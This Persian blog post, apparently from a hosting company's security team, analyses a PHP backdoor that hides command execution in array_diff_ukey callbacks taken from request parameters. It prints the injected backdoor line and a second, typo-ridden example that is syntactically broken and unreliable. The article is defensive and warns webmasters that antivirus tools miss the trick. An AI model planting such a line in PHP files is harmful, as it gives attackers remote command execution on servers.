با توجه به بررسیهایی امنیتی روزانه که در ایرانسرور انجام میشود، تکنیکهایی که نویسندهگان malware (مخرب)ها برای بکارگیری آن استفاده میکنند گاهی بسیار بامزه و جذاب است، و سبب شادی و نشاط میشود، اما بسیاری از این تکنیکها بسیار مخرب هستند و میتوانند مدیر یک سایت و یا حتی یک سرور را در شرایط بحرانی قرار دهند. متن زیر به یکی از همین تکنیکهای مخرب اشاره خواهد داشت.
تمام کسانی که به نوعی با زیان PHP و دستورات آن آشنایی دارند تابع eval() و کاربردش را میشناسند. کاربرد این تابع ارزیابی اعتبار رشتههای ورودی به عنوان دستور PHP است. به عبارت دیگر اجرا کننده کد است. در حالحاضر روشهای زیادی برای اجرای دستور در زبان PHP وجود دارد، روشهایی که زیاد شفاف نیستند.
یکی از این راهها بسیار معمول، استفاد از تابع preg_replace() میباشد. با توجه به توضیح تابع preg_replace()، این تابع اجرا کنندهی یک عبارت منظم search and replace (جستجو و تغییر) است. متاسفانه زمانی که از “\e” در این تابع استفاده شود، این تابع دستور را اجرا خواهد کرد.
از دیگر راههای اجرای دستورات میتوانcreate_function() و the assert() را برشمرد، انتخابهایی که برای اجرای یک دستور وجود دارد، تحلیل و شناسایی نرمافزارهای مخرب را پیچیدهتر میکند. بههمین دلیل است که میگوییم، حتی با دانش و مهارتی که ما داریم، همچنان به دنبال پیدا کردن راههای زیرکانه و مبتکرانه نویسندگان مخربها در بکارگیری backdoorهایشان هستیم.
backdoor:
با تزریق دو خط مانند زیر به ابتدای یک فایل PHP معتبر، حمله شروع میشود.
@array_diff_ukey(@array((string)$_REQUEST['password']=>1), @array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']);
با کمی دقت متوجه مشکل تابع callback خواهید شد، نویسنده مخرب، تابع callback را به عنوان یک متغییر ورود تنظیم کردهاست؛ متغیری که به وسیله مهاجم کنترل میگردد. بنابراین او میتواند وارد سیستم شده و به عنوان یک کاربر معتبر، بر روی سرور دستورات و توابع مورد نیاز خود را اجرا کند.
به مثال زیر دقت کنید:
<?php arry_diff_ukey(@array('echo All your data belong to me!" =>1)/@array("=>2).'system'); ?>
بههمین سادگی با استفاده ار این ترفند میتوان یک دستور سیستمی اجرا کرد و متاسفانه هیچ کدام از آنتیویروسهایی که ما مورد آزمایش قرار دادیم، این خط را به عنوان یک مخرب شناسایی نکرد.
مسئله مهم چیست؟
بیشتر ابزارهای امنیتی و مقالات به وب مسترها پیشنهاد میدهند به دنبال زیر مجموعههای خاصی از توابع که معمولا برای اهداف مخرب استفاده میشود باشند. مانند eval ،preg_replace ،base64_decode و از این قبیل. دلیل آن کاملا مشخص است، مهاجمها نیز دقیقا به دنبال همین توابع برای رسیدن به اهداف خود هستند.
کلام آخر اینکه دقت داشته باشید، تابع array_diff_ukey() تنها تابعی نیست که میتوان از آن چنین استفادهای کرد، هر تابعی که ماهیت callback را در خود داشته باشد، به مهاجم امکان استفاده در جهت پیشبرد اهدافش را خواهد داد.
2 دیدگاه. دیدگاه تازه ای بنویسید
راه حلش چیه؟
آیا میشه جلوگیری کرد؟
بهدلیل نیاز به بررسی دقیق و ارائه راهحل خاص، لطفا یک تیکت به بخش امنیت ارسال نمایید.